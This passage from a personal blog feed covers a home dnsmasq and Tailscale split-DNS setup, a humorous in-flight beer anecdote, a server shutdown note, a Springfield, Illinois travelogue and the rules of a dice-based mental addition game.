this point, I was pumped. In my quest to find a DNS server I could run myself, the first thing I hit upon was <a rel="external" href="https://www.isc.org/bind/">BIND 9</a>, which advertises itself as "the first, oldest, and most commonly deployed [DNS] solution." Seems a little heavyweight perhaps, but I dove into the <em>BIND 9 Administrator Reference Manual</em>, undeterred. As comprehensive as that documentation seemed, a small voice inside asked if there wasn't a somewhat less complicated way to get this all working. Thankfully for my sanity, further research led me to <a rel="external" href="https://dnsmasq.org/">dnsmasq</a>.</p> <h3 id="dnsmasq">dnsmasq</h3> <p>dnsmasq is a pretty nifty little tool: in its most basic form, it defines local DNS names by reading <code>/etc/hosts</code>, and forwards everything else to an upstream server (aka whatever DNS server you were using before, perhaps provided by your ISP). There's plenty of other configuration options, but just a static hosts file is sufficient for my needs.</p> <p><em>(A quick aside is in order, since I wasn't aware of this distinction: a</em> recursive <em>DNS server makes all the queries required to translate a domain to an IP address. For instance, to resolve <code>miniflux.simpsonian.ca</code>, a recursive DNS server might need to first consult a root server ("who has the records for <code>.ca</code>?"), then a ccTLD server ("who has the records for <code>simpsonian.ca</code>?"), then finally a third server that holds the relevant</em> authoritative <em>records ("you want <code>miniflux.simpsonian.ca</code>? oh, that's 203.0.113.132"). dnsmasq is not a recursive DNS server, but a</em> forwarding <em>one: it doesn't perform the recursion itself, it just hands the query over to a DNS server that can.)</em></p> <p>My installation of dnsmasq came with a commented-out <code>/etc/dnsmasq.conf</code> explaining the various options. (I love when software ships like this!) After a bit of tinkering, here's what I ended up with:</p> <pre><code>$ grep ^[^#] /etc/dnsmasq.conf # show uncommented lines; aka everything I configured domain-needed bogus-priv no-hosts addn-hosts=/etc/hosts_dnsmasq $ cat /etc/hosts_dnsmasq # This is the host file intended to be read by dnsmasq. dnsmasq is being used # to create a split DNS environment--devices on the local network will connect # directly to treebeard; outside of the local network they will have to go # through Tailscale. 192.168.0.200 local.simpsonian.ca 192.168.0.200 miniflux.simpsonian.ca </code></pre> <aside> A couple other quick dnsmasq tips: sending the process SIGHUP will reload the hosts files dnsmasq is reading, but it will <em>not</em> reload the dnsmasq config itself. Also, you can log each DNS query dnsmasq receives by setting the option <code>log-queries</code> (very useful for debugging). </aside> <p>The first two options, <code>domain-needed</code> and <code>bogus-priv</code>, were suggested by the comments ("[these options] make you a better netizen, since they tell dnsmasq to filter out queries which the public DNS cannot answer, and which load the servers (especially the root servers) unnecessarily.")—sure, sounds good. By default, dnsmasq will read <code>/etc/hosts</code>; for me that file contains a line like <code>127.0.1.1 treebeard</code>. I didn't want dnsmasq to resolve that, nor do I have a complete understanding of why that's there in the first place, so I left <code>/etc/hosts</code> alone and kept dnsmasq-related things in <code>/etc/hosts_dnsmasq</code>. As you've probably guessed, the last two options in my config tell dnsmasq to read only the latter.</p> <p>Could it be as simple as that? <code>sudo journalctl -u dnsmasq</code> says no:</p> <pre><code>Starting dnsmasq - A lightweight DHCP and caching DNS server... dnsmasq: failed to create listening socket for port 53: Address already in use failed to create listening socket for port 53: Address already in use </code></pre> <p>I know port 53 is typically used for DNS, but why is it in use already? According to <a rel="external" href="https://web.archive.org/web/20210506205119/https://unix.stackexchange.com/questions/304050/how-to-avoid-conflicts-between-dnsmasq-and-systemd-resolved">StackExchange</a>, this is caused by systemd-resolved; I didn't investigate much further beyond following the advice to set <code>DNSStubListener=no</code> in <code>/etc/systemd/resolved.conf</code>, which freed up port 53 for dnsmasq.</p> <p>How about now?</p> <pre><code>$ dig +short @1.1.1.1 miniflux.simpsonian.ca # query some public DNS server 203.0.113.132 $ dig +short @localhost miniflux.simpsonian.ca # query the dnsmasq server we set up 192.168.0.200 </code></pre> <aside> If the <code>dig</code> commands don't make sense to you, Julia Evans has an excellent post on <a rel="external" href="https://web.archive.org/web/20220124131319/http://jvns.ca/blog/2021/12/04/how-to-use-dig/">How to use dig</a>—did you know there's a <code>.digrc</code>‽ </aside> <p>Huzzah! To the outside world, <code>miniflux.simpsonian.ca</code> resolves to the Tailscale IP address, but if you ask <code>treebeard</code> directly, you'll get the private IP address. We're getting close now!</p> <h3 id="configuring-the-router">Configuring the router</h3> <p>This part is straightforward—in my router's web admin portal, under the DHCP server settings, I was able to specify my server's private IP address as the DNS server to use. Now when a device joins the network, it's told to contact my dnsmasq server (<em>not</em> the router) for any DNS queries it needs to make. Checking the assigned DNS server from <code>nmcli dev show wlan0</code> before and after reconnecting to the network on my laptop shows the change, as expected.</p> <p>I also disabled forwarding ports 80 &amp; 443 to my server, since that should no longer be required. We're no longer on the internet!</p> <h3 id="bonus-points-pi-hole">Bonus points: Pi-hole?</h3> <p>Y'know, I've heard people talk about setting up a Pi-hole, which I think is just some local DNS server running on a Raspberry Pi which (intentionally) fails to resolve domains that are known to serve ads/malware… isn't that basically what we've just created? Sure enough, according to <a rel="external" href="https://web.archive.org/web/20220127212538/https://docs.pi-hole.net/ftldns/dns-resolver/">their docs</a>, the DNS part of Pi-hole builds atop dnsmasq. (Of course, a proper Pi-hole installation comes with other goodies, like a nice web interface.)</p> <p>So, one unanticipated upside of this whole dnsmasq setup (that I have yet to explore) is that I should be able to piggyback off of existing Pi-hole blocklists to get some extra ad blocking without much effort—sweet.</p> <h2 id="verifying-it-works">Verifying it works</h2> <p>On my phone, everything looks good: if I'm connected to the local network (via WiFi), I can access <code>miniflux.simpsonian.ca</code>. If I switch to data (meaning I'm no longer on the private network), I <em>cannot</em> access <code>miniflux.simponian.ca</code>—not until I enable Tailscale on my phone, after which everything works again.</p> <p>My laptop, however, is a different story. With Tailscale enabled, it works, but when I turn Tailscale off my connection times out. What gives? At first I started searching for how to investigate Firefox's DNS resolution, then I remembered a blog post from the summer: didn't Firefox enable some DNS safety feature?</p> <figure> <img src="/blog/securing-home-network-dnsmasq-tailscale/./firefox_settings.png" alt="A screenshot of searching for DNS options in the Firefox settings menu" class="centre"> <figcaption><p>Why did it take us so long to make settings menus searchable?</p> </figcaption> </figure> <aside> Interestingly, DoH still doesn't seem to be supported "natively" in the Android app (although apparently there are workarounds to set it up <a rel="external" href="https://web.archive.org/web/20220129020327/https://support.mozilla.org/en-US/questions/1263988">using about:config</a>)? </aside> <p>Right, yep—Firefox now uses <a rel="external" href="https://web.archive.org/web/20220129020239/https://blog.mozilla.org/en/mozilla/news/firefox-by-default-dns-over-https-rollout-in-canada/">DNS-over-HTTPS</a> (DoH) by default (<a rel="external" href="https://news.ycombinator.com/item?id=20938187">example contentious Hacker News discussion</a>) . I think I like this overall—not sending DNS queries over plain text <em>seems</em> like the right thing to do—but unfortunately this means that Firefox defaults to ignoring your system DNS settings, which also seems bad. Regardless, if I disable that option, things work as expected again. (I chose to leave DoH enabled and always run Tailscale on my laptop.)</p> <p>Finally, success!</p> <h2 id="end-result">End result</h2> <p>After all that's said and done, here's what we have:</p> <figure> <img src="/blog/securing-home-network-dnsmasq-tailscale/./home_network_using_tailscale.png" alt="Diagram of the final network setup (using Tailscale)" class="centre"> <figcaption><p>The end result—<code>treebeard</code> is no longer accessible via the public internet</p> </figcaption> </figure> <p>Overall, I'm quite happy with the solution. It satisfies the requirements I laid out previously, and has been working flawlessly so far. I hope you learned as much reading this as I did putting it together!</p> 2021-10-19T00:00:00+00:00 2021-10-19T00:00:00+00:00 https://simpsonian.ca/blog/the-two-tractor-challenge/ <p>When I fly to the States, I usually fly <a rel="external" href="https://www.flyporter.com">Porter</a>, because they're often cheapest, and I'm a cheap-ass. There are two things you should know about Porter:</p> <ol> <li>Every flight to the U.S. will involve a connection in Toronto (YTZ);</li> <li>Every flight serves a free snack and drink—alcoholic options included.</li> </ol> <p>Furthermore, those refreshments are sourced from Canadian companies; the current beer partner is <a rel="external" href="https://beaus.ca/">Beau's</a>, immediately recognizable from their iconic tractor logo. With these facts in mind, allow me to introduce the <em>Two Tractor Challenge</em> and provide the inaugural challenge report.</p> <p class="bubble"> <strong>The Two Tractor Challenge</strong>: drink a (Beau's) beer on both legs of your Porter flight. </p> <h2 id="accepting-the-challenge">Accepting the challenge</h2> <p>My brother and I recently attempted the challenge on our way back to Ottawa from New York City. This was our experience.</p> <h3 id="ewr-ytz">EWR → YTZ</h3> <p>Look, there's not much to say here. We took off in full afternoon sunshine and were soon cruising above rolling clouds; why not sip a Lug Tread and socialize with your seatmate? Life is good.</p> <h3 id="ytz-yow">YTZ → YOW</h3> <p>Here's where things start to get a little more challenging. First, you'll need to clear Canadian customs and go through security again at YTZ. Now (hopefully) you're not anywhere near <em>wasted</em> from a single beer, but you might be a little chatty—not a quality highly valued when performing the requisite airport liturgy. Keep the <em>bon mots</em> to yourself, spare the agents your barley breath, and you'll soon be on your way.</p> <p>By the time we boarded the connection in YTZ, it had been a while since that first beer, and I was thirsty for the second. Now, if you simply order "a beer" on the flight, you'll be handed a can of Lug Tread, no questions asked. That's a fine option, but allow me to fill you in on a secret: Beau's has developed a new beer, specifically for the Porter partnership. And because sometimes, <em>sometimes</em> this universe is just and right, they had the common sense to brew a porter, and name it the <a rel="external" href="https://web.archive.org/web/20211012141730/https://beaus.ca/beer/porter-porter/">Porter porter</a> (stylized on the can as "porter PORTER," because What Are Capitals Anyways) for Porter airlines. My heartfelt appreciation goes out to all those involved in bringing this chocolatey, roasty, vanilla goodness into existence (kudos in particular for the recommended food pairings).</p> <p>With my Porter porter in hand, coasting at a cool 600km/h, I'm feeling pretty good about myself. But this is no time to let your guard down: YTZ → YOW is a short flight—with good weather, we could be wheels-up, wheels-down in 45 minutes. Let's be honest: there is absolutely no need to offer food service on this flight, but by God that refined trash panda simply won't take no for an answer. The dark sweetness delights at the first sip, but curdles cloyingly as I pound away. Reaching deep inside, I develop a tactical stealth belching regime in a desperate attempt to equalize the pressure in my stomach—30,000 feet in the air and being filled aggressively with carbonation.</p> <p>In that final sip, I no longer taste the beer itself, only the satisfaction of my impending victory sparkling on my taste buds, tinged with just a touch of acrid bile to remind of the price greatness demands. We had done it— the inaugural Two Tractor Challenge was complete!</p> <p>But, as they say, pride cometh before a fall.</p> <p>A particularly obliging (or sadistic?) flight attendant had spied our antics. (I presume our matching flannel shirts added to our conspicuousness.) Without any intervention from us, she arrived at row 15 with a fresh round of Porter porters, already cracked open and fizzing out the top.</p> <p>"I brought you guys a present," she said.</p> <p>We smiled, terror in our eyes.</p> <p>What follows is a blur. What is one to do? Is it a crime to bring a half-finished beer off an airplane? Do they confiscate it on the way out, the ultimate mark of failure and shame? We had no desire to find out. Gullets guzzling, diaphragms ballooning to power explosive eructations, we pressed on, deep, deep, deeper into the inky brown depths…</p> <p>The pilot announced that it was 8℃ upon our arrival in Ottawa, but standing outside by arrivals, we felt no cold. Our blood ran hot with booze and boastfulness. We had done it: the Two—no, the Three Tractor Challenge.</p> <p><img src="https://simpsonian.ca/blog/the-two-tractor-challenge/three_tractor_challenge_complete.jpg" alt="Me and lil&#39; bro completing the Three Tractor Challenge" /></p> <p>Cheers.</p> 2021-06-16T00:00:00+00:00 2021-06-16T00:00:00+00:00 https://simpsonian.ca/blog/a-long-overdue-nap/ <p>I'm no sysadmin greybeard, but last year I set up a <a rel="external" href="https://www.pine64.org/rockpro64/">ROCKPro64</a>, mostly to self-host <a rel="external" href="https://miniflux.app/">Miniflux</a>, a RSS reader. (For what it's worth, I've greatly enjoyed this setup and plan on writing more about it later.)</p> <p>One unexpected outcome of this is that I now totally <em>get</em> the uptime fetish some people seem to have. It's the original "streak" incentive! I've done precisely zero maintenance since setting up the server, and here's where things stand today:</p> <pre><code>josh@treebeard:~$ uptime 09:56:59 up 252 days, 11:50, 1 user, load average: 0.00, 0.00, 0.00 josh@treebeard:~$ # goodnight, sweet prince josh@treebeard:~$ sudo shutdown now </code></pre> <p>Unfortunately, an upcoming international move means this streak is about to come to an end. Sleep tight, <code>treebeard</code>—there will be a whole new world waiting for you when you wake up!</p> 2021-05-08T00:00:00+00:00 2021-05-08T00:00:00+00:00 https://simpsonian.ca/blog/springfield-trip-2021-05/ <aside><p> Of course, I didn't go on this trip alone&mdash;you'll find my wife's thoughts in sidebars like this one. </p></aside> <p>Dear reader: usually this blog is dedicated to niche video game commentary, technical notes-to-self, and/or other assorted nonsense, but we break from our usual programming today to provide something different. Earlier this week, I took a short trip to Springfield, Illinois with my wife. We do rather less traveling than we ought to, and for some reason I find my memory for special excursions like this is somewhat lacking. (Unlike punchlines to decades-old Futurama gags, which are etched indelibly in my hippocampus). So, as an experiment in better preserving these memories for myself and others, we bring you this <em>Special Edition Travel Blog</em>. I hope that you'll enjoy these roughly-chronological, overly informative highlights of our visit to the heart of the "land of Lincoln."</p> <h2 id="day-1">Day 1</h2> <h3 id="arrival-head-west-sub-stop">Arrival &amp; Head West Sub Stop</h3> <p>We caught the train from Chicago's <a rel="external" href="https://chicagounionstation.com/">Union Station</a> and <em>wow</em>, I was not expecting that level of splendour (especially in contrast with the somewhat dated Amtrak station below). A few hours later we rolled into Springfield, greeted by rain. Undeterred, we dropped off some bags at the inn and headed east, to <a rel="external" href="https://www.headwestsubs.com/">Head West Sub Stop</a> (at a friend's recommendation—thanks!).</p> <p><img src="https://simpsonian.ca/blog/springfield-trip-2021-05/union_station.jpg" alt="The (gorgeous!) interior of Chicago&#39;s Union Station" /></p> <p>Those that know me are likely familiar with my weakness for sandwiches. A sandwich is a world of possibilities: hot or cold; effectively limitless combinations of toppings and flavours; all domiciled in a homely yet portable roll—what's not to love?</p> <p>So it doesn't take much for me to love a sub shop, but I fell especially hard for Head West. Excellent veggie options and their unabashed commitment to a nearly fluorescent green-purple-yellow colour scheme—seriously, they'd fit right in next to a Chuck E. Cheese—combine for a hippie aesthetic I can totally get behind. The subs themselves are reasonably priced, so naturally there was money left in the budget for one of their t-shirts…</p> <p><img src="https://simpsonian.ca/blog/springfield-trip-2021-05/head_west.jpg" alt="The interior of Head West Sub Stop" /></p> <h3 id="dana-thomas-house">Dana–Thomas House</h3> <p>The main attraction on our first day was a guided tour of the <a rel="external" href="https://www2.illinois.gov/dnrhistoric/Experience/Sites/Central/Pages/Dana-Thomas-House.aspx">Dana–Thomas House</a>. In 1902, Susan Dana (a wealthy heiress) hired Frank Lloyd Wright to completely remodel and extend her family home—providing him an unlimited budget and nearly full creative control to do so. (It was later purchased by a certain Charles C. Thomas and thereafter sold to the state, hence the "Dana–Thomas" moniker.)</p> <p><img src="https://simpsonian.ca/blog/springfield-trip-2021-05/dana_thomas_entrance.jpg" alt="The entrance of the Dana–Thomas House" /></p> <p>Even as a complete architectural ignoramus, there was something deeply pleasing about touring the house. The singularity of the vision and execution means that you are completely surrounded by precise lines and repeated geometrical motifs; from the window designs, to the furniture, and indeed the architecture of the house itself (all designed by Wright!). Free of the essential clutter of day-to-day life, the house becomes a dedicated art exhibit unto itself; an immersive experience on a wholly unique scale.</p> <p>The tour also offered insights into Dana's personal life. As an only child, she inherited her parents' vast fortune, but loss followed her at every corner. Most notably, her only two children passed away in their infancy. An unworn Christening gown purchased on a trip to France speaks to the hole this seems to have left in her life. At the risk of practicing armchair psychology, it seems quite natural (and rather tragic) to connect Dana's grief to her house: deprived of the close family relationships she desired, she filled her life hosting elaborate gatherings spanning high-society soirées to book readings for children on Saturday mornings (capped off with ice cream from a hidden library icebox, to boot).</p> <p>I am immensely grateful that the house has been preserved and is actively being exhibited. It took an unusual set of circumstances for it to have been built, and it would be a shame to lose such a fascinating structure to the vicissitudes of time.</p> <p>One final fun fact: the house contains a full bowling alley in the basement! While the guide will tell you it was a favourite of Dana's, I'm of the opinion that the long, horizontal lines made it the only recreational installation Wright would tolerate...</p> <p><em>(Sources: our tour guide, and the <a rel="external" href="https://www2.illinois.gov/dnrhistoric/Experience/Sites/Central/Pages/Dana-Thomas-House-Education.aspx">educational resources</a> from the Illinois Historic Preservation Division; in particular their <a rel="external" href="https://web.archive.org/web/20200802224347/https://www2.illinois.gov/dnrhistoric/Experience/Sites/Central/Documents/HistoryofDanaHouse.pdf">History of the Dana–Thomas House</a>)</em></p> <h3 id="lincoln-s-neighbourhood">Lincoln's Neighbourhood</h3> <p><img src="https://simpsonian.ca/blog/springfield-trip-2021-05/lincoln_home.jpg" alt="The Lincoln family home" /></p> <aside><p> Although you're there for the yellow house on the corner, there is a quiet serenity to Lincoln's neighborhood that keeps you within the block after you've taken your selfies. We had the good fortune of having the streets to ourselves as we crunched along the gravel road and felt the creaking of the wood plank sidewalk underfoot. Within the shelter of this pocket, I felt calm as we looked at the old homes of Lincoln's contemporaries. If even one other set of tourists had been there, the spell would have been broken and it just would've been cool to see Lincoln's house. </p></aside> <p>We wrapped up the evening with a jaunt through <a rel="external" href="https://www.nps.gov/liho/index.htm">Lincoln's Neighbourhood</a>, a historical recreation of several blocks of Springfield as it would have appeared in the 1860s. The main draw is of course the former house of Honest Abe himself. It certainly must have been a place of significance for their family: it was the only home they ever owned, three of their children were born there, and it is also where one of those children passed away. It's a neat area in which to stroll around, but to me there isn't a huge draw here unless you're deeply interested in the minutia of Lincoln's former neighbours.</p> <h2 id="day-2">Day 2</h2> <h3 id="lincoln-presidential-museum">Lincoln Presidential Museum</h3> <p><img src="https://simpsonian.ca/blog/springfield-trip-2021-05/lincoln_museum_entrance.jpg" alt="Outside the Abraham Lincoln Presidential Museum" /></p> <aside><p> The Lincoln Museum did something that no museum I've been to before managed. It moved me. We started our visit off with the most incredible stage show I've seen. It had holographic effects that were nothing short of magical. It wasn't the effects that got me misty eyed, but the passionate narration describing the wonder of history. The narrator mentions what it might be like to open a box that had been sealed for a hundred years and find a lost letter of Mary Todd Lincoln. It doesn't sound that moving, but to a history buff like me, it was inspirational. With this as my introduction, my emotions were already heightened as we entered into the life of Lincoln. Told chronologically through impressively immersive dioramas, the museum clearly lays out the need-to-know of Abe's life. I learned a lot of facts, but the museum excels in its imparting of feeling. After ninety minutes of feeling the chaos of kids in your law office, the pressure of critics, the weight of the Emancipation Proclamation, the inspiration of the Gettysburg Address, and the sorrow of the Civil War, I genuinely cared about Abraham Lincoln more than I expected. My heart broke as I looked at Mary grasping Abe's arm in their theatre box, a look of optimism in their eyes not felt since long before the Civil War, while Booth stood outside drawing his gun. Moving into the next room recreating Lincoln's final funerary stop, I had to consciously stop myself from crying. It's not like I didn't care about Lincoln before this, but I wasn't expecting to be so moved by his life to the point where I was mourning his death. I'm sure my husband went on about the production value of the museum, which is incredible, but for me the museum is to be commended for how it made you feel the facts of Lincoln's life, not just know them. </p></aside> <p>After a cup o' joe &amp; delicious muffin at <a rel="external" href="https://www.customcupcoffee.com/">Custom Cup Coffee</a>, we set off for what is perhaps Springfield's #1 attraction: the <a rel="external" href="https://presidentlincoln.illinois.gov/">Abraham Lincoln Presidential Library and Museum</a>. I had already been briefly once (on the way back from a road trip to St. Louis) and was eager to revisit it with my wife. I was as impressed this time as I was before.</p> <p>The museum is basically "Abraham Lincoln's Disneyland." The production quality is sky-high; lifelike wax figurines, historical artifacts and multimedia exhibits are used to tell the story of America's sixteenth president. I'm most impressed by the <em>Ghosts of the Library</em> live theatrical presentation, which blends regular stage props with special effects in an incredibly realistic way; I haven't seen anything like this elsewhere. (It's apparently powered by proprietary "Holavision®" technology from <a rel="external" href="https://www.brcweb.com/">BRC Imagination Arts</a>.)</p> <p>I think the museum's greatest strength is that it emphasizes the emotional story of Lincoln's life over a dry recitation of facts. That's not to say the museum lacks in information, but it recognizes that the best way to convey the enormity of the struggles that Lincoln faced—both as president and as a man—is to put the visitor in his shoes. Physically distorted political cartoons accompanied by whispered jeers remind us that fake news is not an exclusively modern phenomenon. Here, the path to issuing the Emancipation Proclamation is literally surrounded by angry dissidents arguing why it goes too far—or not far enough. It shatters the typical sterilized textbook portrayal of historical documents, and confronts us with the reality: there is no obvious right or wrong. People will vilify you no matter what decision you make. How will you choose?</p> <p>The presentation of the emotional climax here is masterful. After the grinding stress of the Civil War, finally rays of jubilation begin to break through—Lincoln is re-elected, Union victory seems assured, the Thirteenth Amendment is passed! We've learned of the many tragedies that both the nation and Lincoln himself have suffered to get here, but it all finally seems to have been worth it… and then you spy the entrance to Ford's Theatre at the end of the hall. By the time we arrive at Lincoln's coffin, we can mourn the man personally, so acquainted are we with his sacrifices.</p> <p>On the subject of the Emancipation Proclamation, Attorney General Edward Bate's views deserve special recognition, which I would describe as "seventeen wrongs (almost) make a right." Quoting from the museum exhibit:</p> <blockquote> <p>Although against black equality, Bates gave his unreserved support to the Proclamation. He hoped and assumed that once free, all Negroes would leave the United States to colonize Central America.</p> </blockquote> <p>While some historians disagree, this is widely considered to be the first bruh moment.</p> <h3 id="state-history-museum">State history museum</h3> <aside><p> <p>I am a great lover of <a rel="external" href="https://youtube.com/channel/UCSHtaUm-FjUps090S7crO4Q">Bernadette Banner</a> and <a rel="external" href="https://youtube.com/c/Karolina%C5%BBebrowskax">Karolina Zebrowska's</a> YouTube channels, where they discuss historical dress. Seeing so many of the things they've discussed in real life as opposed to on my phone screen was remarkable. I loved seeing <a rel="external" href="https://youtu.be/UpbiPXoSQ3E">all the layers to an outfit</a>, a "<a rel="external" href="https://youtu.be/uaRoWPEUTI4">pocket</a>," a <a rel="external" href="https://youtu.be/ZppEd7zZxQI">foot pedal sewing machine</a>, and the <a rel="external" href="https://youtu.be/qkEGN-Nm5mU">changing silhouettes of the 1800s</a> for myself. I'm grateful this detour was indulged.</p> </p></aside> <p>With some extra time on our hands, we stopped by the <a rel="external" href="http://www.illinoisstatemuseum.org/">Illinois State Museum</a>. (We would have liked to tour the Capitol building proper, but it didn't seem accessible to the public at the time.) In particular, the <em><a rel="external" href="http://web.archive.org/web/20210123005903/http://www.illinoisstatemuseum.org/content/fashioning-illinois-1820-1900">Fashioning Illinois: 1820–1900</a></em> exhibit caught my wife's eye. The intricacies of the evolution of fashion were completely lost on me, of course, but the exhibit was a stark reminder of how dramatically Western quality of life has increased since that time. A couple examples in particular stood out. The first: an old folk song that jokingly describes how irascible wives are on "blue Monday," the weekly washing day. This should perhaps not be altogether surprising, given that the process consisted of tedious physical labour and harsh cleaning agents. The second item that caught my eye was a pair of hand-me-down undergarments; after the original wearer passed away, her sister-in-law inherited them, and updated the name in the waistband to match. At the risk of veering into economic debate, both examples make me better appreciate the technological innovations that have eliminated those toils from my life (though of course, there is a separate discussion to be had as to whether that toil has truly been eliminated, or merely transferred across the world, conveniently beyond our notice).</p> <figure> <img src="capitol_building.jpg" alt="Outside the Illinois State Capitol"> <figcaption>A striking view of the Illinois State Capitol</figcaption> </figure> <h3 id="lincoln-s-tomb">Lincoln's tomb</h3> <p>The next stop on our Lincoln tour was the family's final resting place, <a rel="external" href="https://www2.illinois.gov/dnrhistoric/Experience/Sites/Central/Pages/Lincoln-Tomb.aspx">The Lincoln Tomb</a>, located a few kilometres north of the downtown area. Once again, my kudos to the Illinois Historic Preservation Divison: it was seamless to join the next tour after we arrived, and the guides were friendly and knowledgable. The exterior features an obelisk (funny how persistent that Egyptian influence seems to be), the requisite statue of the man himself, and four other statues representing the branches of military service at the time (infantry, artillery, cavalry, and navy); those are built partially from melted down canons from the war. The interior is a polished marble passageway that commemorates the different periods of Lincoln's life with statues and snippets of speeches, with the family's monument halfway through.</p> <p><img src="https://simpsonian.ca/blog/springfield-trip-2021-05/lincoln_tomb.jpg" alt="The exterior of the Lincoln family tomb" /></p> <p>I wish I could say our time by the tombstone was a moment of silent, somber reflection. Instead, we felt vaguely rushed and annoyed as the panting pack of Galaxy-S20-wielding boomers behind us inched ever closer. Yes, I'm being uncharitable, but having to run mental COVID calculus yet again is a surefire way to ruin any moment.</p> <p>Since I have no profound insights to offer from President Lincoln's final resting place, allow me to instead share the story of a Mr. Roy Bertelli. Oak Ridge Cemetery is what you might expect—rolling green hills, birds singing quietly, and rows upon rows of stately, marble tombstones proclaiming the dead. Like many, you may have come here to pay your respects to Lincoln, but before you spot the obelisk adorning his tomb, you'll be accosted by an even more powerful presence: MR. ACCORDION. MR. ACCORDION offers only questions, no answers—who was Roy Bertelli? Why did he like the accordion so much? How in the world did he get his massive monument erected on what is ostensibly the footpath to Lincoln's tomb? We found a full account of the late MR. ACCORDION on <a rel="external" href="https://web.archive.org/web/20210507221417/https://www.roadsideamerica.com/story/19409">roadsideamerica.com</a>. I won't ruin the ending, but it's a hilarious "stick-it-to-the-man" story.</p> <p><img src="https://simpsonian.ca/blog/springfield-trip-2021-05/mr_accordion.jpg" alt="Gravestone for Roy Bertelli, aka &quot;Mr. Accordion&quot;" /></p> <h3 id="final-tour-of-downtown">Final tour of downtown</h3> <aside><p> As I aimlessly looked at the endless haphazard stacks of books, I caught sight of a massive grey cloth bound book with faint gold lettering on the spine way up on a top shelf: The Bayeux Tapestry. My stomach flipped. This book is an old friend of mine. I did a project on the Tapestry that involved recreating a small section of the embroidery of the border and it was this tome that I relied on as I studied the stitches. Thinking there was no way it'd be worth lugging this thing back with us, as soon as I saw the price of $25, I knew it was already mine. It had been sitting on that shelf, waiting for me to find it. </p></aside> <p>Once again in the downtown core, we found ourselves with time for a few final stops before grabbing dinner and calling it a day. We stumbled upon <a rel="external" href="http://prairiearchives.com/">Prairie Archives</a>, one of those lovely bookstores where every available surface is stacked with books. We had an indirect connection to the pastor of <a rel="external" href="https://www.lincolnschurch.org/">First Presbyterian Church</a> and just happened to catch her by chance as we walked by. Reverend Phillips graciously let us explore the church itself, which features absolutely stunning stained glass windows (including one of the few existing signed Tiffany pieces), as well as the Lincoln family's former pew. It was truly an unexpected delight to be able to take in. Thanks, Susan!</p> <p><img src="https://simpsonian.ca/blog/springfield-trip-2021-05/tiffany_signature_zoomed.jpg" alt="Louis C. Tiffany&#39;s signature on a stained glass window" /></p> <p>Whew—after a long day of exploring, there was one last piece of unique Springfield culture to experience: the famous <a rel="external" href="https://en.wikipedia.org/wiki/Horseshoe_sandwich">horseshoe sandwich</a>. A horseshoe sandwich is a slice of Texas toast topped with your choice of meat (a veggie burger in my case), drowned in cheese sauce, and then buried in French fries. We stopped by <a rel="external" href="https://www.connshg.com/obed-and-isaacs/springfield/">Obed &amp; Isaac's</a> for ours. Heed my warning, dear reader: apparently ordering a regular horseshoe means you get two of these concoctions, which is several meals' worth of food. You'll probably want to opt for a "ponyshoe" instead, which is just a smaller serving. My overall verdict? Pretty good! It's exactly what you'd expect, but if you're just looking for a different arrangement of "cheeseburger + fries," this is a fun one. Also noteworthy: Obed &amp; Isaac's had some tasty brews. Chief among them was the watermelon sour, which is a genius flavouring for an underappreciated style. (Yes, it's basically just a watermelon Jolly Rancher in beer form.)</p> <p><img src="https://simpsonian.ca/blog/springfield-trip-2021-05/horseshoe.jpg" alt="A horseshoe sandwich" /></p> <h2 id="conclusion">Conclusion</h2> <p>All in all, we had a wonderful time in Springfield. While we won't be returning perennially, it really did feel like a great place to take in some very interesting Midwestern culture. The walkability of the downtown core and its proximity to the train station make it easy to recommend as a quick Chicago getaway for the historically inclined.</p> 2021-05-07T00:00:00+00:00 2021-05-07T00:00:00+00:00 https://simpsonian.ca/games/swiftsum/ <p>Swift Sum is a game that tests players' mental addition skills. It can be played by two or more players, only requires a pool of dice, and is somewhat "self-balancing"—less skilled players can still meaningfully participate and compete.</p> <span id="continue-reading"></span> <p>Note: for clarity, these instructions assume only two players are playing, but see the <a href="#variant-multiplayer">multiplayer variant</a>.</p> <h2 id="setup">Setup</h2> <p>Divide a pool of dice between the players. Using at least ten dice total is recommended; use more for a greater challenge and vice-versa. If players' skill levels are mismatched, allocate more dice to the stronger player.</p> <h2 id="rules">Rules</h2> <p>Play is composed of multiple rounds. Each round proceeds as follows:</p> <ol> <li> <p>Both players roll all their dice simultaneously.</p> </li> <li> <p>Players try to calculate the sum of their dice roll as quickly as possible. Once a player believes they have the correct total, they announce it out loud. That player is the <strong>caller</strong> for this round; the other player is the <strong>checker</strong>.</p> </li> <li> <p>The checker looks at the caller's dice and verifies whether the total the caller announced was correct.</p> <p>a. <em>If the caller was correct:</em> the caller gets a point. The caller takes one of the checker's dice and adds it to their own pool.</p> <p>b. <em>If the caller was not correct:</em> the checker gets a point. No dice are exchanged.</p> </li> </ol> <p>Players can choose to play for a fixed duration of time (at the end, highest score wins); for a fixed number of rounds (again, highest score wins); or to a target score (e.g., first to 7 points wins).</p> <h2 id="examples">Examples</h2> <p>Alice and Bob are playing together. Since Alice is more experienced, they agree to give Alice six dice to start, and give Bob four. Their first three rounds go as follows:</p> <ol> <li> <p>Alice rolls {1, 2, 4, 5, 5, 6}; Bob rolls {3, 3, 4, 6}. Alice is the first to announce, which she does by shouting "twenty-three!" This makes Alice the caller, and Bob the checker. Bob confirms that 1 + 2 + 4 + 5 + 5 + 6 = 23, so Alice was correct. Alice gets a point, and adds one of Bob's dice to her pool (Alice now has seven dice to Bob's three). [Score: Alice 1 - 0 Bob]</p> </li> <li> <p>Alice rolls {2, 3, 3, 4, 5, 6, 6}; Bob rolls {5, 5, 6}. Once again, Alice is first to announce, shouting "thirty!". However, Bob notices that Alice has made a mistake: 2 + 3 + 3 + 4 + 5 + 6 + 6 = 29, not 30! Since Alice was incorrect, Bob gets a point, and no dice are exchanged. [Score: Alice 1 - 1 Bob]</p> </li> <li> <p>Alice rolls {1, 1, 3, 3, 4, 5, 6}; Bob rolls {2, 4, 4}. Bob is first to announce by yelling "ten!". Alice confirms this is correct, so Bob gets another point and takes one of Alice's dice (now Alice has six dice again, and Bob has four). [Score: Alice 1 - 2 Bob]</p> </li> </ol> <h2 id="variants">Variants</h2> <dl> <dt id="variant-multiplayer">Multiplayer</dt> <dd> The game can be played with more than two players at once. In this case, when the caller is correct, they take a die from the player with the fewest points. (All non-caller players can take the role of checker.) </dd> <dt>Mix it up</dt> <dd> There is no need to only use six-sided dice; try experimenting with a mix of dice in the pool! (In this case, the checker chooses what die to give the caller if the caller is correct.) </dd> <dt>"Cheat" mode</dt> <dd> Players may rearrange their dice after the original roll. Test for yourself: does this "cheating" actually make you faster? </dd> </dl> 